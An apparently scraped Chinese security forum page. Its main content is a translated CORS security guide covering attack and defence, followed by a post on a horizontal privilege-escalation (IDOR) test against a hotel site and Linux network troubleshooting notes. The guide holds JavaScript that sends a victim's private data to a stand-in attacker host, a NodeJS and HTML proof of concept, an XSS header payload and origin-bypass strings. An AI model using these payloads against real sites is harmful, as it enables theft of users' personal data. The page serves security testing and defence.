4.1.7 限制缓存的时间建议通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部,限制浏览器缓存信息的时间。可以通过使用“Access-Control-Max-Age”标题来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值(例如大约30分钟),确保浏览器在短时间内可以更新策略(比如允许的源) 4.1.8 仅配置所需要的头最后一点,要仅在接收到跨域请求的时候才配置有关于跨域的头部,并且确保跨域请求是合法的(只允许来自合法的源)实际上,在其他情况下,如果没有理由就不要配置这样的头部,这种方式可以减少某些用户恶意利用的可能性。 4.2 配置和实施很多软件框架是允许使用CORS的,当使用这些解决方案的时候,我们要着重++注意默认值++(“origin” 和 “credentials”是否被明确的设置)因为有些默认值是不安全的我们分析一些主要的软件框架。下面这个表是总结的结果(注意:这仅指默认配置,在所有情况下都可以以安全的方式配置它们) 5. _引用:* Mozilla MDN web docs. Cross-Origin Resource Sharing (CORS). https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS (Accessed 2018-30-06).* Wikipedia. Same-origin policy. https://en.wikipedia.org/wiki/Same-origin_policy (Accessed 2018-30-06).* W3C. Cross-Origin Resource Sharing. https://www.w3.org/TR/cors/ (Accessed 2018-30-06).* James Kettle. Exploiting CORS misconfigurations for Bitcoins and bounties. https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties 2018-30-06).* Geekboy. Exploiting Misconfigured CORS (Cross Origin Resource Sharing). https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/ (Accessed 2018-30-06)* Yassine Aboukir. CORS Exploitation: Data exfiltration when allowed origin is set to NULL. https://yassineaboukir.com/blog/cors-exploitation-data-exfiltration-when-allowed-origin-is-set-to-null/ (Accessed 2018-30-06).* Corben Leo. Advanced CORS Exploitation Techniques. https://www.sxcurity.pro/advanced-cors-techniques/ (Accessed 2018-30-06)
                             查看全部
 原文地址:https://xz.aliyun.com/t/2745                                   
这篇文章翻译自:https://www.bedefended.com/papers/cors-security-guide
作者:Davide Danelon
译者:聂心明
译者博客:https://blog.csdn.net/niexinming
版本:1.0 - 2018年-七月
1. _介绍

这个指南收集关于cors所有的安全知识,从基本的到高级的,从攻击到防御

1.1  _谁应该去读这个文章

这个文章面向所有人:网站管理员,程序员,渗透测试,赏金猎人还有安全专家。
在这个文章种将会找到:
* 同源策略和跨域资源共享(cors)介绍摘要    
* 主要内容,cors漏洞攻击从入门到精通
* cors安全规范
2. 跨域资源共享(cors)

跨域资源共享(cors)可以放宽浏览器的同源策略,可以通过浏览器让不同的网站和不同的服务器之间通信。

2.1 同源策略

同源策略在浏览器安全中是一种非常重要的概念,大量的客户端脚本支持同源策略,比如JavaScript。
同源策略允许运行在页面的脚本可以无限制的访问同一个网站(同源)中其他脚本的任何方法和属性。当不同网站页面(非同源)的脚本试图去互相访问的时候,大多数的方法和属性都是被禁止的。
这个机制对于现代web应用是非常重要的,因为他们广泛的依赖http cookie来维护用户权限,服务器端会根据cookie来判断客户端是否合法,是否能发送机密信息。
浏览器要严格隔离两个不同源的网站,目的是保证数据的完整性和机密性。
“同源”的定义:

* 域名  
* 协议  
* tcp端口号  
只要以上三个值是相同的,我们就认为这两个资源是同源的。
为了更好的解释这个概念,下面这个表将利用"http://www.example.com/dir/page.html"这个url作为示例,展示在同源策略控制下不同的结果
1.png

下面这个图展示的是:如果不启用cors的时候,恶意脚本发出一个请求之后发生的事情
2.png

2.2 cors的出现

同源策略对于大型应用有太多的限制,比如有多个子域名的情况
现在已经有大量技术可以放宽同源策略的限制,其中有一种技术就是跨域资源共享(CORS)
CORS是一种机制,这种机制通过在http头部添加字段,通常情况下,web应用A告诉浏览器,自己有权限访问应用B。这就可以用相同的描述来定义“同源”和“跨源”操作。
CORS的标准定义是:通过设置http头部字段,让客户端有资格跨域访问资源。通过服务器的验证和授权之后,浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。
主要的头部字段包含:“Access-Control-Allow-Origin”
Access-Control-Allow-Origin: https://example.com
这个头部字段所列的“源”可以以访客的方式给服务器端发送跨域请求并且可以读取返回的文本,而这种方式是被同源策略所阻止的。

默认情况下,如果没有设置“Access-Control-Allow-Credentials”这个头的话,浏览器发送的请求就不会带有用户的身份数据(cookie或者HTTP身份数据),所以就不会泄露用户隐私信息。
下面这个图展示一个简单的CORS请求流:
3.png

2.2.1 身份数据

服务器端也会通知客户端是否发送用户的身份数据(cookie或者其他身份数据),如果http头部中的“Access-Control-Allow-Credentials”这个字段被设置“true",那么客户端身份数据就会被发送到目标的服务器上

2.2.2

因为请求会修改数据(通常是GET以外的方法),在发送这些复杂请求之前,浏览器会发送一个”探测“请求
cors预检的目的是为了验证CORS协议是否被理解,预检的OPTION请求包含下面三个字段
  • “Access-Control-Request-Method”  
  • “Access-Control-Request-Headers”  
  • “Origin”   
这些字段会被浏览器自动的发给服务器端。所以,在正常情况下,前端开发人员不需要自己指定此类请求。如果服务器允许发送请求,那么浏览器就会发送所需的HTTP数据包。2.2.3 允许多个源协议建议,可以简单的利用空格来分隔多个源,比如:
Access-Control-Allow-Origin: https://example1.com https://example2.com
然而,没有浏览器支持这样的语法通常利用通配符去信任所有的子域名也是不行的,比如:
Access-Control-Allow-Origin: *.example1.com
当前只支持用通配符来匹配域名,比如下面:
Access-Control-Allow-Origin: *
尽管浏览器可以支持通配符,但是不能同时将凭证标志设置成true。就像下面这种头部配置:
Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true
这样配置浏览器将会报错,因为在响应具有凭据的请求时,服务器必须指定单个域,所不能使用通配符。简单的使用通配符将有效的禁用“Access-Control-Allow-Credentials”这个字段。这些限制和行为的结果就是许多CORS的实现方式是根据“Origin”这个头部字段的值来生成“AccessControl-Allow-Origin”的值2.2.4  其他相关的头部字段还有一些关于CORS的头部字段,其中一个字段是“Vary"根据CORS的实施标准,当”Access-Control-Allow-Origin“是被动态产生的话,就要用”Vary: Origin“去指定。这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值发生变化。如果如果未设置此标头,则在某些情况下,它可能会被某些攻击所利用,如在下一节中描述3. _攻击技术这部分内容是一个给安全测试专家的指导书,来帮助他们测试CORS的安全性3.1 过程三个步骤测试CORS错误配置1. 识别  2. 分析3. 利用3.1.1 识别首先,想要测试带有CORS缺陷应用的首先条件是要找到开启CORS的应用。APIs一个不错的选择,因为他们经常和不同的域交换信息。因此,通常情况下,接口会暴露一些信息收集和信息枚举的功能。通常,当服务器收到头部带有”Origin"字段的请求的时候才会配置CORS,因此才会很容易的产生很多这样类型的漏洞。另外,如果客户端收到返回报文的头部包含“Access-Control-*”这样的字段,但是没有定义源的话,那么很可能返回报文的头部是由请求报文中“Origin”这个字段来决定的。因此,找到候选人接口之后,就可以发送头部带有“Origin”的数据包了。测试者应该试图让“Origin”字段使用不同的值,比如不同的域名称或者”null"。最好用一些的脚本自动化的完成这些任务。比如:
GET /handler_to_test HTTP/1.1Host: target.domainOrigin: https://target.domainConnection: close
然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段
HTTP/1.1 200 OK…Access-control-allow-credentials: trueAccess-control-allow-origin: https://target.domain…
上面的返回报文表明,这个应用中的接口已经开启了CORS这个功能。现在有必要对配置进行测试,以确定是否存在安全缺陷。3.1.2 分析识别出开启的CORS功能的接口之后,就要尽可能的分析配置,以发现正确的利用方式。在这个阶段,开始fuzzing请求报文头部中“Origin”这个字段然后观察服务器的返回报文,目的是看哪些域是被允许的。重要的是验证,哪种类型的控件可以被控制,应用会返回哪种头部字段。因此,测试者应该发送发送头部字段“Origin”包含不同值的请求发送给服务器端,看看攻击者所控制的域名是否被允许。
GET /handler_to_test HTTP/1.1Host: target.domainOrigin: https://attaker.domainConnection: close
然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段
HTTP/1.1 200 OK…Access-control-allow-credentials: trueAccess-control-allow-origin: https://attacker.domain…
在这次测试示例中,服务器返回的报文头部中已经表明完全信任“attacker.domain”这个域,并且可以向这个域中发送用户凭据。3.1.3 利用经过刚才对CORS的分析,我们已经准备好去利用那些配置错误的CORS应用了。有时,当用户凭据这个字段没有开启的时候,可能需要其他的先决条件去利用这个问题。下面的篇幅就详细的讲解一些特殊的利用技术。3.2 有用户凭据的利用从一个攻击者角度来看,看到目标应用的“AccessControl-Allow-Credentials”设置为“true”时是非常开心的。在这种情况下,攻击者会利用配置错误去偷走受害人的隐私数据和敏感数据。下面这个表简要说明基于CORS配置的可利用性
4.png
3.2.1 泄露用户数据当“Access-Control-Allow-Credentials”设置为Ture时,利用这种CORS这种配置缺陷的基本技术就是创建一个JavaScript脚本去发送CORS请求,就像下面那样:
var req = new XMLHttpRequest();req.onload = reqListener;req.open(“get”,”https://vulnerable.domain/api/private-data”,true);req.withCredentials = true;req.send();function reqListener() {location=”//attacker.domain/log?response=”+this.responseText;};
用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候,浏览器就会发送下面的请求到“有漏洞服务器”
GET /api/private-data HTTP/1.1Host: vulnerable.domainOrigin: https://attacker.domain/Cookie: JSESSIONID=<redacted>
然后就会收到下面的返回数据
HTTP/1.1 200 OKServer: Apache-Coyote/1.1Access-Control-Allow-Origin: https://attacker.domainAccess-Control-Allow-Credentials: trueAccess-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-CredentialsVary: OriginExpires: Thu, 01 Jan 1970 12:00:00 GMTLast-Modified: Wed, 02 May 2018 09:07:07 GMTCache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0Pragma: no-cacheContent-Type: application/json;charset=ISO-8859-1Date: Wed, 02 May 2018 09:07:07 GMTConnection: closeContent-Length: 149{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"top-secret-string"}
因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。
5.png
3.3 没有用户凭据的利用方式在这种情况下,目标应用允许通过发送“Origin”去影响返回头“Access-Control-Allow-Origin”的值,但是不允许传输用户凭证下面这个表简要说明基于CORS配置的可利用性
6.png
如果不能携带用户凭据的话,那么就会减少攻击者的攻击面,并且很明显的是,攻击者将很难拿到用户的cookie。此外,会话固定攻击也是不可行的,因为浏览器会忽略应用设置的新的cookie。3.3.1 绕过基于ip的身份验证实际的攻击中总有意外,如果目标从受害者的网络中可以到达,但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。在这种场景下,黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言,这个类似于DNS重绑定,但会更容易利用。3.3.2 客户端缓存中毒这种配置允许攻击者利用其他的漏洞。比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上。请求:
GET /login HTTP/1.1Host: www.target.localOrigin: https://attacker.domain/X-User: <svg/onload=alert(1)>
返回报文(注意:“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置)
HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://attacker.domain/…Content-Type: text/html…Invalid user: <svg/onload=alert(1)
攻击者可以把xss的exp放在自己控制的服务器中的JavaScript代码里面然后等待受害者去触发它。
var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','http://www.target.local/login',true);req.setRequestHeader('X-User', '<svg/onload=alert(1)>');req.send();function reqListener() {location='http://www.target.local/login';}
如果在返回报文中头部没有设置“Vary: Origin”,那么可以利用上面展示的例子,可以让受害者浏览器中的缓存中存储返回数据报文(这要基于浏览器的行为)并且当浏览器访问到相关URL的时候就会直接显示出来。(通过重定向来实现,可以用“reqListener()”这个方法)
7.png
如果没有CORS的话,上面的缺陷就没法利用,因为没有办法让受害者浏览器发送自定义头部,但是如果有了CORS,就可以用“XMLHttpRequest”做这个事情。3.3.3 服务器端缓存中毒另一种潜在的攻击方式是利用CORS的错误配置注入HTTP头部,这可能会被服务器端缓存下来,比如制造存储型xss下面是攻击的利用条件:* 存在服务器端缓存 * 能够反射“Origin“头部   * 不会检查“Origin”头部中的特殊字符,比如”\r"有了上面的先决条件,James Kettle展示了http头部注入的利用方式,他用这种方式攻击IE/Edge用户(因为他们使用“\r"(0x0d)作为的HTTP头部字段的终结符)请求
GET / HTTP/1.1Origin: z[0x0d]Content-Type: text/html; charset=UTF-7IE处理过后返回报文   HTTP/1.1 200 OKAccess-Control-Allow-Origin: zContent-Type: text/html; charset=UTF-7
上面的请求不能直接拿来利用,因为攻击者没有办法保证受害者浏览器会提前发送畸形的头部。如果攻击者能提前发送畸形的“Origin”头部,比如利用代理或者命令行的方式发送,然后服务器就会缓存这样的返回报文并且也会传递给其他人。利用上面的例子,攻击者可以把页面的编码变成”UTF-7",周所周知,这可能会引发xss漏洞   3.4  绕过技术有时,需要信任不同的域或者所有的子域,所以开发者要用正则表达式或者其他的方法去验证有效性。下面的部分列出了一系列的“起源”,可以用来绕过某些验证控制,以验证“起源”头的有效性。下面的例子中的目标域一般指“target.local”。3.4.1  NULL源CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。目标应用可能会接收“null"源,并且这个可能被测试者(或者攻击者)利用,意外任何网站很容易使用沙盒iframe来获取”null“源
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
使用上面的iframe产生一个请求类似于下面这样
GET /handlerHost: target.localOrigin: null
如果目标应用接收”null"源,那么服务器将返回类似下面的数据报文
HTTP/1.1 200 OKAcess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true
这种错误配置经常会碰到,所以会很方便的去尝试它。3.4.2 使用目标域名作为子域名如果目标应用只检查只检查“Origin”中的字符串是否包含“target.local”,那么就可以在自己控制的服务器上创建一个子域名。用这样的方式,请求一般产生自JavaScript代码,并且请求中的“Origin”会像下面这样
Origin: https://target.local.attacker.domain
3.4.3  注册一个同名的域名假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:
^https?:\/\/.*\.?target\.local$
这样的正则表达式包含一个问题,导则这样的CORS配置都容易被攻击。下面表格将分解正则表达式:
8.png
这个?只影响"."这个字符串,因此在“target.local”前面的任何字符串都是被允许的,而不管是否有"."把他们分开。因此,只需要在“origin”末尾包含目标域名就可以绕过上面的限制(这个场景的的目标域名是“target.local”),比如:
Origin: https://nottarget.local
攻击者只需要注册一个末尾包含目标域名的新域名就可以利用这样的漏洞了。3.4.4 控制目标的子域名现在目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:
^https?:\/\/(.*\.)?target\.local$
这个允许来自”target.local“的跨域访问并且包含所有的子域名(来自HTTP和HTTPS协议)。在这个场景中,如果攻击者能控制目标的有效的子域名(比如:“subdomain.target.local”),比如接管一个子域名,或者找到一个有xss漏洞的子域名。攻击者就可以产生一个有效的CORS请求。3.4.5 第三方域名有时一些第三方域名会被允许。如果黑客能在这些域名里面上传JavaScript脚本的话,他们就可以攻击目标了。最有代表性的例子是,Amazon S3存储桶的有时是被信任的。如果目标应用使用亚马逊的服务,那么来自亚马逊S3存储桶上的请求就会被信任。在这种场景下,攻击者会控制一个S3的存储桶,并在上面放上恶意页面。3.4.6  使用特殊的特性Corban Leo展示了一个比较有趣的研究,他在域名中插入一些特殊的字符来绕过一些限制。这个研究员的特殊字符法只能用在Safari浏览器上。但是,我们进行了深入的分析,显示其中一部分特殊字符串也可以用在其他的浏览器中。这种规避技术所面临的问题是,在发送请求之前,浏览器不总是会去验证域名的有效性。因此,如果使用一些特殊的字符串,那么浏览器可能就不会提前发送请求去验证域名是否存在或者有效。假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:
^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?
上面的正则表达式的意思是,允许所有“target.local”的子域名的跨域请求,并且这些请求可以来自于子域名的任意端口。下面是正则表达式的分解:
9.png
这个正则表达式阻止前面例子中的攻击,因此前面的绕过技术不会起作用(除非你控制了一给合法的子域名)下面的截屏展示了返回报文中没有“Access-Control-Allow-Origin” (ACAO) 和 “Access-Control-AllowCrendentials” (ACAC) 被设置。(使用前面的一种绕过技术)
10.png
因为,正则表达式匹配紧挨着的ASCII字母和".","-",在“target.local”后面的每一个字母都会被信任。
11.png
注意:当前浏览器只有Safari支持使用上面的域名(带“{”那个字符的),但是如果目标应用的正则表达式能够信任其他的特殊字母,那么就可以使用CORS的错误配置去攻击其他的浏览器啦。下面这个表包含各个浏览器对特殊字符的“兼容性”(注意:仅包含至少一个浏览器允许的特殊字符)
12.png
利用前的准备:* 泛解析域名要指向你的服务器   * NodeJS:因为Apache和Nginx(开箱即用)不支持特殊的字符创建一个serve.js 文件   
var http = require('http'); var url = require('url');var fs = require('fs');var port = 80http.createServer(function(req, res) { if (req.url == '/cors-poc') {  fs.readFile('cors.html', function(err, data) {  res.writeHead(200, {'Content-Type':'text/html'});  res.write(data);res.end();});} else {  res.writeHead(200, {'Content-Type':'text/html'});   res.write('never gonna give you up...');  res.end();}}).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);
在相同的目录下创建cors.html   
<html><head><title>CORS PoC</title></head><body onload="cors();"><div align="center"><h2>CORS Proof of Concept</h2><textarea rows="15" cols="70" id="container"></textarea> </div><script> function cors() {var req = new XMLHttpRequest();req.onload = reqListener; req.open("GET","http://www.target.local/api/private-data",true); req.withCredentials = true;req.send();function reqListener() {document.getElementById("container").innerHTML = this.responseText; }} </script>
现在启动NodeJS服务并且运行下面的指令:  
node serve.js &
如果目标应用使用上面的表达式实现对“Origin”过滤的话,那么除了“.” 和“-“之外,“www.target.local”后面的每一个特殊字符都会被信任,因此当Safari浏览器完成的以下产生的有效请求后,攻击者能够从易受攻击的目标中窃取数据。  
http://www.target.local{.<your-domain>/cors-poc
如果正则表达式支持下划线的话,那么可能其他的浏览器(在上面的表格中列出数据)也可以利用CORS配置错误了,就像下面的例子一样:
http://www.target.local_.<your-domain>/cors-poc
想要看更多关于绕过的文章可以去:https://www.sxcurity.pro/advanced-cors-techniques 4 _防御技术让我们的看看如何正确配置CORS才能避免让黑客从受害者中偷走敏感数据或者被攻击者利用CORS配置继续攻击 4.1 一般守则下面是处理CORS配置的最佳实践 4.1.1 如果不必要就不要开启CORS首先,要仔细的评估是否开启CORS。如果没有必要,建议完全避免使用它,以免削弱SOP。 4.1.2 定义白名单如果是绝对必要的话,要定义“源”的白名单。我更喜欢白名单,如果可能的话,不要使用正则表达式,因为根据前面的描述,正则表达式更容易出错,导致CORS的配置错误。不要配置“Access-Control-Allow-Origin”为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的“Origin”的值。当收到跨域请求的时候,要检查“Origin”的值是否是一个可信的源。 4.1.3 仅仅允许安全的协议有必要验证协议以确保不允许来自不安全通道(HTTP)的交互,否则中间人(MitM)将绕过应用是所使用的HTTPS 4.1.4 配置“VARY”头部要尽可能的返回"Vary: Origin"这个头部,以避免攻击者利用浏览器缓存 4.1.5 如果可能的话避免使用“CREDENTIALS”由于“Access-Control-Allow-Credentials”标头设置为“true”时允许跨域请求中带有凭证数据,因此只有在严格必要时才应配置它。此头部也增加了CSRF攻击的风险;因此,有必要对其进行保护。要特别关注的实现的标准,如果没有定义参数的话,那么默认值很可能是“true”。要仔细阅读官方文档,如果感觉模糊不清的话,就把值设置成“false". 4.1.6 限制使用的方法通过“Access-Control-Allow-Methods”头部,还可以配置允许跨域请求的方法,这样可以最大限度地减少所涉及的方法,配置它始终是一个好习惯。 4.1.7 限制缓存的时间建议通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部,限制浏览器缓存信息的时间。可以通过使用“Access-Control-Max-Age”标题来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值(例如大约30分钟),确保浏览器在短时间内可以更新策略(比如允许的源) 4.1.8 仅配置所需要的头最后一点,要仅在接收到跨域请求的时候才配置有关于跨域的头部,并且确保跨域请求是合法的(只允许来自合法的源)实际上,在其他情况下,如果没有理由就不要配置这样的头部,这种方式可以减少某些用户恶意利用的可能性。 4.2 配置和实施很多软件框架是允许使用CORS的,当使用这些解决方案的时候,我们要着重++注意默认值++(“origin” 和 “credentials”是否被明确的设置)因为有些默认值是不安全的我们分析一些主要的软件框架。下面这个表是总结的结果(注意:这仅指默认配置,在所有情况下都可以以安全的方式配置它们) 5. _引用:
  • * Mozilla MDN web docs. Cross-Origin Resource Sharing (CORS). https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS (Accessed 2018-30-06).
  • * Wikipedia. Same-origin policy. https://en.wikipedia.org/wiki/Same-origin_policy (Accessed 2018-30-06).
  • * W3C. Cross-Origin Resource Sharing. https://www.w3.org/TR/cors/ (Accessed 2018-30-06).
  • * James Kettle. Exploiting CORS misconfigurations for Bitcoins and bounties. https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties 2018-30-06).
  • * Geekboy. Exploiting Misconfigured CORS (Cross Origin Resource Sharing). https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/ (Accessed 2018-30-06)
  • * Yassine Aboukir. CORS Exploitation: Data exfiltration when allowed origin is set to NULL. https://yassineaboukir.com/blog/cors-exploitation-data-exfiltration-when-allowed-origin-is-set-to-null/ (Accessed 2018-30-06).
  • * Corben Leo. Advanced CORS Exploitation Techniques. https://www.sxcurity.pro/advanced-cors-techniques/ (Accessed 2018-30-06)

                            

漏洞实战挖掘之水平越权

渗透测试zksmile 发表了文章 • 2 个评论 • 181 次浏览 • 2018-09-24 14:32 • 来自相关话题

最近华住集团信息泄露事件闹的挺大的,看新闻貌似是抓到贩卖数据的人了。于是自己在某漏洞平台SRC上随手找了一个酒店类的厂商测试了一下。
 
在站点注册功能处,需要输入手机号、姓名、身份证号大量个人隐私信息。 




经过测试这里姓名、身份证可以不用输入也能注册,但是如果对于一些对于个人信息保护意识不强的人来说很容易信任该站点,把自己真实的身份信息填写进去。
 
这里我输入了一个虚假的手机号,和身份信息,后台未做任何校验,也没有向手机号发送验证码来校验,注册18888888888直接提示注册成功。 
 
注册成功之后登陆账号,访问自己的资料页面。 




可以看到页面上对身份证号码显示的地方做了 脱敏处理,本来我还想这个开发挺有经验的…..直到我右键查看源代码之后。 




由上图可以看出,页面中有一个隐藏的表单,此时完整的身份证号码就躺在value中,这岂不是掩耳盗铃?
由于此页面可以直接看到用户的姓名、身份证、电话号码信息,于是我就抓取了数据包想要测试一下是否有水平越权。 




在数据包HTTP请求的cookie处,我发现了如上图所示的信息。用户的信息就在cookie中明文传输。
此时使用cookie修改工具,将原本是107318的uid改为 107317 




刷新页面。直接可以越权查看到另外一个人的姓名、身份证、手机号。。。 




 
仅仅是修改一个uid不但可以越权查看个人的资料、酒店订单、收货地址、等等全部可以获取到。。。。。
 
到这一步我想也没必要往下测试了, 点了根雪qie陷入了思考之中。





  查看全部
最近华住集团信息泄露事件闹的挺大的,看新闻貌似是抓到贩卖数据的人了。于是自己在某漏洞平台SRC上随手找了一个酒店类的厂商测试了一下。
 
在站点注册功能处,需要输入手机号、姓名、身份证号大量个人隐私信息。 
1.png

经过测试这里姓名、身份证可以不用输入也能注册,但是如果对于一些对于个人信息保护意识不强的人来说很容易信任该站点,把自己真实的身份信息填写进去。
 
这里我输入了一个虚假的手机号,和身份信息,后台未做任何校验,也没有向手机号发送验证码来校验,注册18888888888直接提示注册成功。 
 
注册成功之后登陆账号,访问自己的资料页面。 
2.png

可以看到页面上对身份证号码显示的地方做了 脱敏处理,本来我还想这个开发挺有经验的…..直到我右键查看源代码之后。 
3.png

由上图可以看出,页面中有一个隐藏的表单,此时完整的身份证号码就躺在value中,这岂不是掩耳盗铃?
由于此页面可以直接看到用户的姓名、身份证、电话号码信息,于是我就抓取了数据包想要测试一下是否有水平越权。 
4.png

在数据包HTTP请求的cookie处,我发现了如上图所示的信息。用户的信息就在cookie中明文传输。
此时使用cookie修改工具,将原本是107318的uid改为 107317 
5.png

刷新页面。直接可以越权查看到另外一个人的姓名、身份证、手机号。。。 
6.png

 
仅仅是修改一个uid不但可以越权查看个人的资料、酒店订单、收货地址、等等全部可以获取到。。。。。
 
到这一步我想也没必要往下测试了, 点了根雪qie陷入了思考之中。

2NLD8Z0Q`TG{M_A9Q84Y188.jpg

 

Linux 网络故障排除思路和方法

系统安全ttgo2 发表了文章 • 0 个评论 • 179 次浏览 • 2018-09-19 20:27 • 来自相关话题

最近在对Linux系统网络配置中同学们出现各种问题,面对问题大家的思路比较混乱,没有解决问题的思路,今天给大家整理一下这个过程,系统能对刚入门的同学有所帮助。
1 ,检测网卡是否UP
服务器网卡有的需要手工开启,如果网卡不开启是无法使用的,开启的方法是ifconfig eth0 up[root@bogon ~]#
[root@bogon ~]# ifconfig eth0 up
[root@bogon ~]#

2,检测到网关是否可以互通
如果无法ping通网关,一般原因是IP地址配置有误,或者网络掩码配置错误,导致无法正常ping通,(这里不包括防火墙作为网关或者网关禁止icmp协议的,)需要保证到网关是通的。
3,测试一下到DNS是否可以互通
ping测试到DNS是否可以互通,如果发现ping 不通,一定是网关配置出现错误,需要检查一下网关的配置,或者检查一下本地路由表是否有到网关的默认路由。[root@bogon ~]# netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.0.0 * 255.255.255.0 U 0 0 0 eth0
link-local * 255.255.0.0 U 0 0 0 eth0
default bogon 0.0.0.0 UG 0 0 0 eth0
[root@bogon ~]#


[root@bogon ~]# route add default gw 192.168.0.1

4,检查一下DNS服务是否工作正常
一般公网上的DNS还是很稳定的,但是公司或者学校内部的DNS可能有问题出现,简单测试一下本地DNS是否可用,测试方式可以使用nslookup[root@bogon ~]# nslookup www.baidu.com
Server: 202.102.224.68
Address: 202.102.224.68#53

Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 61.135.169.125
Name: www.a.shifen.com
Address: 61.135.169.121

[root@bogon ~]#
如果内网DNS有问题,可以临时换成公网的DNS,
 
5 检测浏览器是否使用代理
可以ping通www.baidu.com 但是浏览器无法打开网页,一般都是浏览器配合了代理,取消即可。chrom为例:










 
 
通过这一步一步的排错,一般情况都能解决,如果疏漏了那点,希望大家指正。谢谢。
 
 
  查看全部
最近在对Linux系统网络配置中同学们出现各种问题,面对问题大家的思路比较混乱,没有解决问题的思路,今天给大家整理一下这个过程,系统能对刚入门的同学有所帮助。
1 ,检测网卡是否UP
服务器网卡有的需要手工开启,如果网卡不开启是无法使用的,开启的方法是ifconfig eth0 up
[root@bogon ~]# 
[root@bogon ~]# ifconfig eth0 up
[root@bogon ~]#

2,检测到网关是否可以互通
如果无法ping通网关,一般原因是IP地址配置有误,或者网络掩码配置错误,导致无法正常ping通,(这里不包括防火墙作为网关或者网关禁止icmp协议的,)需要保证到网关是通的。
3,测试一下到DNS是否可以互通
ping测试到DNS是否可以互通,如果发现ping 不通,一定是网关配置出现错误,需要检查一下网关的配置,或者检查一下本地路由表是否有到网关的默认路由。
[root@bogon ~]# netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.0.0 * 255.255.255.0 U 0 0 0 eth0
link-local * 255.255.0.0 U 0 0 0 eth0
default bogon 0.0.0.0 UG 0 0 0 eth0
[root@bogon ~]#


[root@bogon ~]# route add default gw 192.168.0.1

4,检查一下DNS服务是否工作正常
一般公网上的DNS还是很稳定的,但是公司或者学校内部的DNS可能有问题出现,简单测试一下本地DNS是否可用,测试方式可以使用nslookup
[root@bogon ~]# nslookup www.baidu.com
Server: 202.102.224.68
Address: 202.102.224.68#53

Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 61.135.169.125
Name: www.a.shifen.com
Address: 61.135.169.121

[root@bogon ~]#

如果内网DNS有问题,可以临时换成公网的DNS,
 
5 检测浏览器是否使用代理
可以ping通www.baidu.com 但是浏览器无法打开网页,一般都是浏览器配合了代理,取消即可。chrom为例:

QQ截图20180919202415.png


QQ截图20180919202526.png

 
 
通过这一步一步的排错,一般情况都能解决,如果疏漏了那点,希望大家指正。谢谢。
 
 
 

Linux 下network和NetworkManager 冲突导致网络异常

系统安全ttgo2 发表了文章 • 0 个评论 • 95 次浏览 • 2018-09-18 16:41 • 来自相关话题

一,问题-找不到网卡配置文件(ifcfg-eth0)
Centos 6.5 Linux 系统中,有的同学发现自己的网卡在/etc/sysconfig/network-scripts/下面没有发现有ifcfg-eth0,针对这个问题我们进行讨论一下:
 
在/etc/sysconfig/network-scripts/下没有发现有ifcfg-eth0 的文件,检测如下:-rw-r--r--. 1 root root 254 Oct 10 2013 ifcfg-lo
lrwxrwxrwx. 1 root root 20 Mar 20 2017 ifdown -> ../../../sbin/ifdown
-rwxr-xr-x. 1 root root 627 Oct 10 2013 ifdown-bnep
-rwxr-xr-x. 1 root root 5430 Oct 10 2013 ifdown-eth
-rwxr-xr-x. 1 root root 781 Oct 10 2013 ifdown-ippp
-rwxr-xr-x. 1 root root 4168 Oct 10 2013 ifdown-ipv6
lrwxrwxrwx. 1 root root 11 Mar 20 2017 ifdown-isdn -> ifdown-ippp
-rwxr-xr-x. 1 root root 1481 Oct 10 2013 ifdown-post
-rwxr-xr-x. 1 root root 1064 Oct 10 2013 ifdown-ppp
-rwxr-xr-x. 1 root root 835 Oct 10 2013 ifdown-routes
-rwxr-xr-x. 1 root root 1465 Oct 10 2013 ifdown-sit
-rwxr-xr-x. 1 root root 1434 Oct 10 2013 ifdown-tunnel
lrwxrwxrwx. 1 root root 18 Mar 20 2017 ifup -> ../../../sbin/ifup
